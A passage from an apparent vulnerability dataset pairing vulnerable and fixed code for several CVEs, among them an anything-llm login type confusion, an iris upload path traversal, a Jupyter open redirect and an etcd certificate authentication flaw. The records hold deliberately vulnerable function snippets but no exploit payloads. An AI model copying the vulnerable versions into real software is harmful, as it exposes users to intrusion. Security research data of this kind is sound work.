'//');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };"}], "vul_patch": "--- a/src/URI.js\n+++ b/src/URI.js\n@@ -28,6 +28,8 @@\n \n     // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n     string = string.replace(/^(https?|ftp|wss?)?:+[/\\\\]*/i, '$1://');\n+    // slashes and backslashes have lost all meaning for scheme relative URLs\n+    string = string.replace(/^[/\\\\]{2,}/i, '//');\n \n     // extract protocol\n     if (string.substring(0, 2) === '//') {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-3102", "cve_description": "A JSON Injection vulnerability exists in the `mintplex-labs/anything-llm` application, specifically within the username parameter during the login process at the `/api/request-token` endpoint. The vulnerability arises from improper handling of values, allowing attackers to perform brute force attacks without prior knowledge of the username. Once the password is known, attackers can conduct blind attacks to ascertain the full username, significantly compromising system security.", "cwe_info": {"CWE-307": {"name": "Improper Restriction of Excessive Authentication Attempts", "description": "The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/2374939ffb551ab2929d7f9d5827fe6597fa8caa"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_93_1", "commit": "52fac84", "file_path": "server/endpoints/system.js", "start_line": "102", "end_line": "224", "snippet": "  app.post(\"/request-token\", async (request, response) => {\n    try {\n      const bcrypt = require(\"bcrypt\");\n\n      if (await SystemSettings.isMultiUserMode()) {\n        const { username, password } = reqBody(request);\n        const existingUser = await User.get({ username });\n\n        if (!existingUser) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_username\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[001] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (!bcrypt.compareSync(password, existingUser.password)) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_password\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[002] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (existingUser.suspended) {\n          await EventLogs.logEvent(\n            \"failed_login_account_suspended\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[004] Account suspended by admin.\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\n          \"login_event\",\n          { multiUserMode: false },\n          existingUser?.id\n        );\n\n        await EventLogs.logEvent(\n          \"login_event\",\n          {\n            ip: request.ip || \"Unknown IP\",\n            username: existingUser.username || \"Unknown user\",\n          },\n          existingUser?.id\n        );\n\n        response.status(200).json({\n          valid: true,\n          user: existingUser,\n          token: makeJWT(\n            { id: existingUser.id, username: existingUser.username },\n            \"30d\"\n          ),\n          message: null,\n        });\n        return;\n      } else {\n        const { password } = reqBody(request);\n        if (\n          !bcrypt.compareSync(\n            password,\n            bcrypt.hashSync(process.env.AUTH_TOKEN, 10)\n          )\n        ) {\n          await EventLogs.logEvent(\"failed_login_invalid_password\", {\n            ip: request.ip || \"Unknown IP\",\n            multiUserMode: false,\n          });\n          response.status(401).json({\n            valid: false,\n            token: null,\n            message: \"[003] Invalid password provided\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\"login_event\", { multiUserMode: false });\n        await EventLogs.logEvent(\"login_event\", {\n          ip: request.ip || \"Unknown IP\",\n          multiUserMode: false,\n        });\n        response.status(200).json({\n          valid: true,\n          token: makeJWT({ p: password }, \"30d\"),\n          message: null,\n        });\n      }\n    } catch (e) {\n      console.log(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });"}], "fix_func": [{"id": "fix_js_93_1", "commit": "2374939", "file_path": "server/endpoints/system.js", "start_line": "102", "end_line": "224", "snippet": "  app.post(\"/request-token\", async (request, response) => {\n    try {\n      const bcrypt = require(\"bcrypt\");\n\n      if (await SystemSettings.isMultiUserMode()) {\n        const { username, password } = reqBody(request);\n        const existingUser = await User.get({ username: String(username) });\n\n        if (!existingUser) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_username\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[001] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (!bcrypt.compareSync(String(password), existingUser.password)) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_password\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[002] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (existingUser.suspended) {\n          await EventLogs.logEvent(\n            \"failed_login_account_suspended\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[004] Account suspended by admin.\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\n          \"login_event\",\n          { multiUserMode: false },\n          existingUser?.id\n        );\n\n        await EventLogs.logEvent(\n          \"login_event\",\n          {\n            ip: request.ip || \"Unknown IP\",\n            username: existingUser.username || \"Unknown user\",\n          },\n          existingUser?.id\n        );\n\n        response.status(200).json({\n          valid: true,\n          user: existingUser,\n          token: makeJWT(\n            { id: existingUser.id, username: existingUser.username },\n            \"30d\"\n          ),\n          message: null,\n        });\n        return;\n      } else {\n        const { password } = reqBody(request);\n        if (\n          !bcrypt.compareSync(\n            password,\n            bcrypt.hashSync(process.env.AUTH_TOKEN, 10)\n          )\n        ) {\n          await EventLogs.logEvent(\"failed_login_invalid_password\", {\n            ip: request.ip || \"Unknown IP\",\n            multiUserMode: false,\n          });\n          response.status(401).json({\n            valid: false,\n            token: null,\n            message: \"[003] Invalid password provided\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\"login_event\", { multiUserMode: false });\n        await EventLogs.logEvent(\"login_event\", {\n          ip: request.ip || \"Unknown IP\",\n          multiUserMode: false,\n        });\n        response.status(200).json({\n          valid: true,\n          token: makeJWT({ p: password }, \"30d\"),\n          message: null,\n        });\n      }\n    } catch (e) {\n      console.log(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });"}], "vul_patch": "--- a/server/endpoints/system.js\n+++ b/server/endpoints/system.js\n@@ -4,7 +4,7 @@\n \n       if (await SystemSettings.isMultiUserMode()) {\n         const { username, password } = reqBody(request);\n-        const existingUser = await User.get({ username });\n+        const existingUser = await User.get({ username: String(username) });\n \n         if (!existingUser) {\n           await EventLogs.logEvent(\n@@ -24,7 +24,7 @@\n           return;\n         }\n \n-        if (!bcrypt.compareSync(password, existingUser.password)) {\n+        if (!bcrypt.compareSync(String(password), existingUser.password)) {\n           await EventLogs.logEvent(\n             \"failed_login_invalid_password\",\n             {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23772", "cve_description": "This affects all versions of package github.com/kataras/iris; all versions of package github.com/kataras/iris/v12. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/kataras/iris", "patch_url": ["https://github.com/kataras/iris/commit/e213dba0d32ff66653e0ef124bc5088817264b08"], "programing_language": "Go", "vul_func": [{"id": "vul_go_272_1", "commit": "25ad31be505a70189af6bb22804ad559d3dc6df6", "file_path": "context/context.go", "start_line": 2021, "end_line": 2063, "snippet": "func (ctx *Context) FormFiles(key string, before ...func(*Context, *multipart.FileHeader) bool) (files []multipart.File, headers []*multipart.FileHeader, err error) {\n\terr = ctx.request.ParseMultipartForm(ctx.app.ConfigurationReadOnly().GetPostMaxMemory())\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif ctx.request.MultipartForm != nil {\n\t\tfhs := ctx.request.MultipartForm.File\n\t\tif n := len(fhs); n > 0 {\n\t\t\tfiles = make([]multipart.File, 0, n)\n\t\t\theaders = make([]*multipart.FileHeader, 0, n)\n\n\t\tinnerLoop:\n\t\t\tfor _, header := range fhs[key] {\n\t\t\t\t// Fix an issue that net/http has,\n\t\t\t\t// an attacker can push a filename\n\t\t\t\t// which could lead to override existing system files\n\t\t\t\t// by ../../$header.\n\t\t\t\t// Reported by Frank through security reports.\n\t\t\t\theader.Filename = strings.ReplaceAll(header.Filename, \"../\", \"\")\n\t\t\t\theader.Filename = strings.ReplaceAll(header.Filename, \"..\\\\\", \"\")\n\n\t\t\t\tfor _, b := range before {\n\t\t\t\t\tif !b(ctx, header) {\n\t\t\t\t\t\tcontinue innerLoop\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfile, fErr := header.Open()\n\t\t\t\tif fErr != nil { // exit on first error but return the succeed.\n\t\t\t\t\treturn files, headers, fErr\n\t\t\t\t}\n\n\t\t\t\tfiles = append(files, file)\n\t\t\t\theaders = append(headers, header)\n\t\t\t}\n\t\t}\n\n\t\treturn\n\t}\n\n\treturn nil, nil, http.ErrMissingFile\n}"}, {"id": "vul_go_272_2", "commit": "25ad31be505a70189af6bb22804ad559d3dc6df6", "file_path": "context/context.go", "start_line": 2092, "end_line": 2131, "snippet": "func (ctx *Context) UploadFormFiles(destDirectory string, before ...func(*Context, *multipart.FileHeader) bool) (uploaded []*multipart.FileHeader, n int64, err error) {\n\terr = ctx.request.ParseMultipartForm(ctx.app.ConfigurationReadOnly().GetPostMaxMemory())\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tif ctx.request.MultipartForm != nil {\n\t\tif fhs := ctx.request.MultipartForm.File; fhs != nil {\n\t\t\tfor _, files := range fhs {\n\t\t\tinnerLoop:\n\t\t\t\tfor _, file := range files {\n\t\t\t\t\t// Fix an issue that net/http has,\n\t\t\t\t\t// an attacker can push a filename\n\t\t\t\t\t// which could lead to override existing system files\n\t\t\t\t\t// by ../../$file.\n\t\t\t\t\t// Reported by Frank through security reports.\n\t\t\t\t\tfile.Filename = strings.ReplaceAll(file.Filename, \"../\", \"\")\n\t\t\t\t\tfile.Filename = strings.ReplaceAll(file.Filename, \"..\\\\\", \"\")\n\n\t\t\t\t\tfor _, b := range before {\n\t\t\t\t\t\tif !b(ctx, file) {\n\t\t\t\t\t\t\tcontinue innerLoop\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tn0, err0 := ctx.SaveFormFile(file, filepath.Join(destDirectory, file.Filename))\n\t\t\t\t\tif err0 != nil {\n\t\t\t\t\t\treturn nil, 0, err0\n\t\t\t\t\t}\n\t\t\t\t\tn += n0\n\n\t\t\t\t\tuploaded = append(uploaded, file)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn uploaded, n, nil\n\t\t}\n\t}\n\n\treturn nil, 0, http.ErrMissingFile\n}"}], "fix_func": [{"id": "fix_go_272_1", "commit": "e213dba0d32ff66653e0ef124bc5088817264b08", "file_path": "context/context.go", "start_line": 2021, "end_line": 2057, "snippet": "func (ctx *Context) FormFiles(key string, before ...func(*Context, *multipart.FileHeader) bool) (files []multipart.File, headers []*multipart.FileHeader, err error) {\n\terr = ctx.request.ParseMultipartForm(ctx.app.ConfigurationReadOnly().GetPostMaxMemory())\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif ctx.request.MultipartForm != nil {\n\t\tfhs := ctx.request.MultipartForm.File\n\t\tif n := len(fhs); n > 0 {\n\t\t\tfiles = make([]multipart.File, 0, n)\n\t\t\theaders = make([]*multipart.FileHeader, 0, n)\n\n\t\tinnerLoop:\n\t\t\tfor _, header := range fhs[key] {\n\t\t\t\theader.Filename = filepath.Base(header.Filename)\n\n\t\t\t\tfor _, b := range before {\n\t\t\t\t\tif !b(ctx, header) {\n\t\t\t\t\t\tcontinue innerLoop\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfile, fErr := header.Open()\n\t\t\t\tif fErr != nil { // exit on first error but return the succeed.\n\t\t\t\t\treturn files, headers, fErr\n\t\t\t\t}\n\n\t\t\t\tfiles = append(files, file)\n\t\t\t\theaders = append(headers, header)\n\t\t\t}\n\t\t}\n\n\t\treturn\n\t}\n\n\treturn nil, nil, http.ErrMissingFile\n}"}, {"id": "fix_go_272_2", "commit": "e213dba0d32ff66653e0ef124bc5088817264b08", "file_path": "context/context.go", "start_line": 2086, "end_line": 2121, "snippet": "func (ctx *Context) UploadFormFiles(destDirectory string, before ...func(*Context, *multipart.FileHeader) bool) (uploaded []*multipart.FileHeader, n int64, err error) {\n\terr = ctx.request.ParseMultipartForm(ctx.app.ConfigurationReadOnly().GetPostMaxMemory())\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tif ctx.request.MultipartForm != nil {\n\t\tif fhs := ctx.request.MultipartForm.File; fhs != nil {\n\t\t\tfor _, files := range fhs {\n\t\t\tinnerLoop:\n\t\t\t\tfor _, file := range files {\n\t\t\t\t\t// Security fix for go < 1.17.5:\n\t\t\t\t\t// Reported by Kirill Efimov (snyk.io) through security reports.\n\t\t\t\t\tfile.Filename = filepath.Base(file.Filename)\n\n\t\t\t\t\tfor _, b := range before {\n\t\t\t\t\t\tif !b(ctx, file) {\n\t\t\t\t\t\t\tcontinue innerLoop\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tn0, err0 := ctx.SaveFormFile(file, filepath.Join(destDirectory, file.Filename))\n\t\t\t\t\tif err0 != nil {\n\t\t\t\t\t\treturn nil, 0, err0\n\t\t\t\t\t}\n\t\t\t\t\tn += n0\n\n\t\t\t\t\tuploaded = append(uploaded, file)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn uploaded, n, nil\n\t\t}\n\t}\n\n\treturn nil, 0, http.ErrMissingFile\n}"}], "vul_patch": "--- a/context/context.go\n+++ b/context/context.go\n@@ -12,13 +12,7 @@\n \n \t\tinnerLoop:\n \t\t\tfor _, header := range fhs[key] {\n-\t\t\t\t// Fix an issue that net/http has,\n-\t\t\t\t// an attacker can push a filename\n-\t\t\t\t// which could lead to override existing system files\n-\t\t\t\t// by ../../$header.\n-\t\t\t\t// Reported by Frank through security reports.\n-\t\t\t\theader.Filename = strings.ReplaceAll(header.Filename, \"../\", \"\")\n-\t\t\t\theader.Filename = strings.ReplaceAll(header.Filename, \"..\\\\\", \"\")\n+\t\t\t\theader.Filename = filepath.Base(header.Filename)\n \n \t\t\t\tfor _, b := range before {\n \t\t\t\t\tif !b(ctx, header) {\n\n--- a/context/context.go\n+++ b/context/context.go\n@@ -9,13 +9,9 @@\n \t\t\tfor _, files := range fhs {\n \t\t\tinnerLoop:\n \t\t\t\tfor _, file := range files {\n-\t\t\t\t\t// Fix an issue that net/http has,\n-\t\t\t\t\t// an attacker can push a filename\n-\t\t\t\t\t// which could lead to override existing system files\n-\t\t\t\t\t// by ../../$file.\n-\t\t\t\t\t// Reported by Frank through security reports.\n-\t\t\t\t\tfile.Filename = strings.ReplaceAll(file.Filename, \"../\", \"\")\n-\t\t\t\t\tfile.Filename = strings.ReplaceAll(file.Filename, \"..\\\\\", \"\")\n+\t\t\t\t\t// Security fix for go < 1.17.5:\n+\t\t\t\t\t// Reported by Kirill Efimov (snyk.io) through security reports.\n+\t\t\t\t\tfile.Filename = filepath.Base(file.Filename)\n \n \t\t\t\t\tfor _, b := range before {\n \t\t\t\t\t\tif !b(ctx, file) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26275", "cve_description": "The Jupyter Server provides the backend (i.e. the core services, APIs, and REST endpoints) for Jupyter web applications like Jupyter notebook, JupyterLab, and Voila. In Jupyter Server before version 1.1.1, an open redirect vulnerability could cause the jupyter server to redirect the browser to a different malicious website. All jupyter servers running without a base_url prefix are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet. This same vulnerability was patched in upstream notebook v5.7.8. This is fixed in jupyter_server 1.1.1. If upgrade is not available, a workaround can be to run your server on a url prefix: \"jupyter server --ServerApp.base_url=/jupyter/\".", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/jupyter-server/jupyter_server", "patch_url": ["https://github.com/jupyter-server/jupyter_server/commit/85e4abccf6ea9321d29153f73b0bd72ccb3a6bca"], "programing_language": "Python", "vul_func": [{"id": "vul_py_388_1", "commit": "b328e0a98fa553d3ec4cd911b6d11bb7363ddb0f", "file_path": "jupyter_server/auth/login.py", "start_line": 30, "end_line": 55, "snippet": "    def _redirect_safe(self, url, default=None):\n        \"\"\"Redirect if url is on our PATH\n\n        Full-domain redirects are allowed if they pass our CORS origin checks.\n\n        Otherwise use default (self.base_url if unspecified).\n        \"\"\"\n        if default is None:\n            default = self.base_url\n        if not url.startswith(self.base_url):\n            # require that next_url be absolute path within our path\n            allow = False\n            # OR pass our cross-origin check\n            if '://' in url:\n                # if full URL, run our cross-origin check:\n                parsed = urlparse(url.lower())\n                origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n                if self.allow_origin:\n                    allow = self.allow_origin == origin\n                elif self.allow_origin_pat:\n                    allow = bool(self.allow_origin_pat.match(origin))\n            if not allow:\n                # not allowed, use default\n                self.log.warning(\"Not allowing login redirect to %r\" % url)\n                url = default\n        self.redirect(url)"}, {"id": "vul_py_388_2", "commit": "b328e0a98fa553d3ec4cd911b6d11bb7363ddb0f", "file_path": "jupyter_server/auth/login.py", "start_line": 71, "end_line": 92, "snippet": "    def post(self):\n        typed_password = self.get_argument('password', default=u'')\n        new_password = self.get_argument('new_password', default=u'')\n\n        if self.get_login_available(self.settings):\n            if self.passwd_check(self.hashed_password, typed_password) and not new_password:\n                self.set_login_cookie(self, uuid.uuid4().hex)\n            elif self.token and self.token == typed_password:\n                self.set_login_cookie(self, uuid.uuid4().hex)\n                if new_password and self.settings.get('allow_password_change'):\n                    config_dir = self.settings.get('config_dir')\n                    config_file = os.path.join(config_dir, 'jupyter_server_config.json')\n                    set_password(new_password, config_file=config_file)\n                    self.log.info(\"Wrote hashed password to %s\" % config_file)\n            else:\n                self.set_status(401)\n                self._render(message={'error': 'Invalid credentials'})\n                return\n\n\n        next_url = self.get_argument('next', default=self.base_url)\n        self._redirect_safe(next_url)"}], "fix_func": [{"id": "fix_py_388_1", "commit": "85e4abccf6ea9321d29153f73b0bd72ccb3a6bca", "file_path": "jupyter_server/auth/login.py", "start_line": 30, "end_line": 60, "snippet": "    def _redirect_safe(self, url, default=None):\n        \"\"\"Redirect if url is on our PATH\n\n        Full-domain redirects are allowed if they pass our CORS origin checks.\n\n        Otherwise use default (self.base_url if unspecified).\n        \"\"\"\n        if default is None:\n            default = self.base_url\n        # protect chrome users from mishandling unescaped backslashes.\n        # \\ is not valid in urls, but some browsers treat it as /\n        # instead of %5C, causing `\\\\` to behave as `//`\n        url = url.replace(\"\\\\\", \"%5C\")\n        parsed = urlparse(url)\n        if parsed.netloc or not (parsed.path + \"/\").startswith(self.base_url):\n            # require that next_url be absolute path within our path\n            allow = False\n            # OR pass our cross-origin check\n            if parsed.netloc:\n                # if full URL, run our cross-origin check:\n                origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n                origin = origin.lower()\n                if self.allow_origin:\n                    allow = self.allow_origin == origin\n                elif self.allow_origin_pat:\n                    allow = bool(self.allow_origin_pat.match(origin))\n            if not allow:\n                # not allowed, use default\n                self.log.warning(\"Not allowing login redirect to %r\" % url)\n                url = default\n        self.redirect(url)"}, {"id": "fix_py_388_2", "commit": "85e4abccf6ea9321d29153f73b0bd72ccb3a6bca", "file_path": "jupyter_server/auth/login.py", "start_line": 76, "end_line": 99, "snippet": "    def post(self):\n        typed_password = self.get_argument('password', default=u'')\n        new_password = self.get_argument('new_password', default=u'')\n\n        if self.get_login_available(self.settings):\n            if self.passwd_check(self.hashed_password, typed_password) and not new_password:\n                self.set_login_cookie(self, uuid.uuid4().hex)\n            elif self.token and self.token == typed_password:\n                self.set_login_cookie(self, uuid.uuid4().hex)\n                if new_password and self.settings.get(\"allow_password_change\"):\n                    config_dir = self.settings.get(\"config_dir\")\n                    config_file = os.path.join(\n                        config_dir, \"jupyter_notebook_config.json\"\n                    )\n                    set_password(new_password, config_file=config_file)\n                    self.log.info(\"Wrote hashed password to %s\" % config_file)\n            else:\n                self.set_status(401)\n                self._render(message={'error': 'Invalid credentials'})\n                return\n\n\n        next_url = self.get_argument('next', default=self.base_url)\n        self._redirect_safe(next_url)"}], "vul_patch": "--- a/jupyter_server/auth/login.py\n+++ b/jupyter_server/auth/login.py\n@@ -7,14 +7,19 @@\n         \"\"\"\n         if default is None:\n             default = self.base_url\n-        if not url.startswith(self.base_url):\n+        # protect chrome users from mishandling unescaped backslashes.\n+        # \\ is not valid in urls, but some browsers treat it as /\n+        # instead of %5C, causing `\\\\` to behave as `//`\n+        url = url.replace(\"\\\\\", \"%5C\")\n+        parsed = urlparse(url)\n+        if parsed.netloc or not (parsed.path + \"/\").startswith(self.base_url):\n             # require that next_url be absolute path within our path\n             allow = False\n             # OR pass our cross-origin check\n-            if '://' in url:\n+            if parsed.netloc:\n                 # if full URL, run our cross-origin check:\n-                parsed = urlparse(url.lower())\n                 origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n+                origin = origin.lower()\n                 if self.allow_origin:\n                     allow = self.allow_origin == origin\n                 elif self.allow_origin_pat:\n\n--- a/jupyter_server/auth/login.py\n+++ b/jupyter_server/auth/login.py\n@@ -7,9 +7,11 @@\n                 self.set_login_cookie(self, uuid.uuid4().hex)\n             elif self.token and self.token == typed_password:\n                 self.set_login_cookie(self, uuid.uuid4().hex)\n-                if new_password and self.settings.get('allow_password_change'):\n-                    config_dir = self.settings.get('config_dir')\n-                    config_file = os.path.join(config_dir, 'jupyter_server_config.json')\n+                if new_password and self.settings.get(\"allow_password_change\"):\n+                    config_dir = self.settings.get(\"config_dir\")\n+                    config_file = os.path.join(\n+                        config_dir, \"jupyter_notebook_config.json\"\n+                    )\n                     set_password(new_password, config_file=config_file)\n                     self.log.info(\"Wrote hashed password to %s\" % config_file)\n             else:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-16886", "cve_description": "etcd versions 3.2.x before 3.2.26 and 3.3.x before 3.3.11 are vulnerable to an improper authentication issue when role-based access control (RBAC) is used and client-cert-auth is enabled. If an etcd client server TLS certificate contains a Common Name (CN) which matches a valid RBAC username, a remote attacker may authenticate as that user with any valid (trusted) client certificate in a REST API request to the gRPC-gateway.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/etcd-io/etcd", "patch_url": ["https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2", "https://github.com/etcd-io/etcd/commit/0191509637546621d6f2e18e074e955ab8ef374d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_158_1", "commit": "9c6b407", "file_path": "auth/store.go", "start_line": 1154, "end_line": 1182, "snippet": "func (as *authStore) AuthInfoFromTLS(ctx context.Context) (ai *AuthInfo) {\n\tpeer, ok := peer.FromContext(ctx)\n\tif !ok || peer == nil || peer.AuthInfo == nil {\n\t\treturn nil\n\t}\n\n\ttlsInfo := peer.AuthInfo.(credentials.TLSInfo)\n\tfor _, chains := range tlsInfo.State.VerifiedChains {\n\t\tif len(chains) < 1 {\n\t\t\tcontinue\n\t\t}\n\t\tai = &AuthInfo{\n\t\t\tUsername: chains[0].Subject.CommonName,\n\t\t\tRevision: as.Revision(),\n\t\t}\n\t\tif as.lg != nil {\n\t\t\tas.lg.Debug(\n\t\t\t\t\"found command name\",\n\t\t\t\tzap.String(\"common-name\", ai.Username),\n\t\t\t\tzap.String(\"user-name\", ai.Username),\n\t\t\t\tzap.Uint64(\"revision\", ai.Revision),\n\t\t\t)\n\t\t} else {\n\t\t\tplog.Debugf(\"found common name %s\", ai.Username)\n\t\t}\n\t\tbreak\n\t}\n\treturn ai\n}"}], "fix_func": [{"id": "fix_go_158_1", "commit": "bf9d0d8", "file_path": "auth/store.go", "start_line": 1154, "end_line": 1203, "snippet": "func (as *authStore) AuthInfoFromTLS(ctx context.Context) (ai *AuthInfo) {\n\tpeer, ok := peer.FromContext(ctx)\n\tif !ok || peer == nil || peer.AuthInfo == nil {\n\t\treturn nil\n\t}\n\n\ttlsInfo := peer.AuthInfo.(credentials.TLSInfo)\n\tfor _, chains := range tlsInfo.State.VerifiedChains {\n\t\tif len(chains) < 1 {\n\t\t\tcontinue\n\t\t}\n\t\tai = &AuthInfo{\n\t\t\tUsername: chains[0].Subject.CommonName,\n\t\t\tRevision: as.Revision(),\n\t\t}\n\t\tmd, ok := metadata.FromIncomingContext(ctx)\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\n\t\t// gRPC-gateway proxy request to etcd server includes Grpcgateway-Accept\n\t\t// header. The proxy uses etcd client server certificate. If the certificate\n\t\t// has a CommonName we should never use this for authentication.\n\t\tif gw := md[\"grpcgateway-accept\"]; len(gw) > 0 {\n\t\t\tif as.lg != nil {\n\t\t\t\tas.lg.Warn(\n\t\t\t\t\t\"ignoring common name in gRPC-gateway proxy request\",\n\t\t\t\t\tzap.String(\"common-name\", ai.Username),\n\t\t\t\t\tzap.String(\"user-name\", ai.Username),\n\t\t\t\t\tzap.Uint64(\"revision\", ai.Revision),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tplog.Warningf(\"ignoring common name in gRPC-gateway proxy request %s\", ai.Username)\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t\tif as.lg != nil {\n\t\t\tas.lg.Debug(\n\t\t\t\t\"found command name\",\n\t\t\t\tzap.String(\"common-name\", ai.Username),\n\t\t\t\tzap.String(\"user-name\", ai.Username),\n\t\t\t\tzap.Uint64(\"revision\", ai.Revision),\n\t\t\t)\n\t\t} else {\n\t\t\tplog.Debugf(\"found common name %s\", ai.Username)\n\t\t}\n\t\tbreak\n\t}\n\treturn ai\n}"}], "vul_patch": "--- a/auth/store.go\n+++ b/auth/store.go\n@@ -13,6 +13,27 @@\n \t\t\tUsername: chains[0].Subject.CommonName,\n \t\t\tRevision: as.Revision(),\n \t\t}\n+\t\tmd, ok := metadata.FromIncomingContext(ctx)\n+\t\tif !ok {\n+\t\t\treturn nil\n+\t\t}\n+\n+\t\t// gRPC-gateway proxy request to etcd server includes Grpcgateway-Accept\n+\t\t// header. The proxy uses etcd client server certificate. If the certificate\n+\t\t// has a CommonName we should never use this for authentication.\n+\t\tif gw := md[\"grpcgateway-accept\"]; len(gw) > 0 {\n+\t\t\tif as.lg != nil {\n+\t\t\t\tas.lg.Warn(\n+\t\t\t\t\t\"ignoring common name in gRPC-gateway proxy request\",\n+\t\t\t\t\tzap.String(\"common-name\", ai.Username),\n+\t\t\t\t\tzap.String(\"user-name\", ai.Username),\n+\t\t\t\t\tzap.Uint64(\"revision\", ai.Revision),\n+\t\t\t\t)\n+\t\t\t} else {\n+\t\t\t\tplog.Warningf(\"ignoring common name in gRPC-gateway proxy request %s\", ai.Username)\n+\t\t\t}\n+\t\t\treturn nil\n+\t\t}\n \t\tif as.lg != nil {\n \t\t\tas.lg.Debug(\n \t\t\t\t\"found command name\",\n\n", "poc_patch": null, "unit_test_cmd": null}
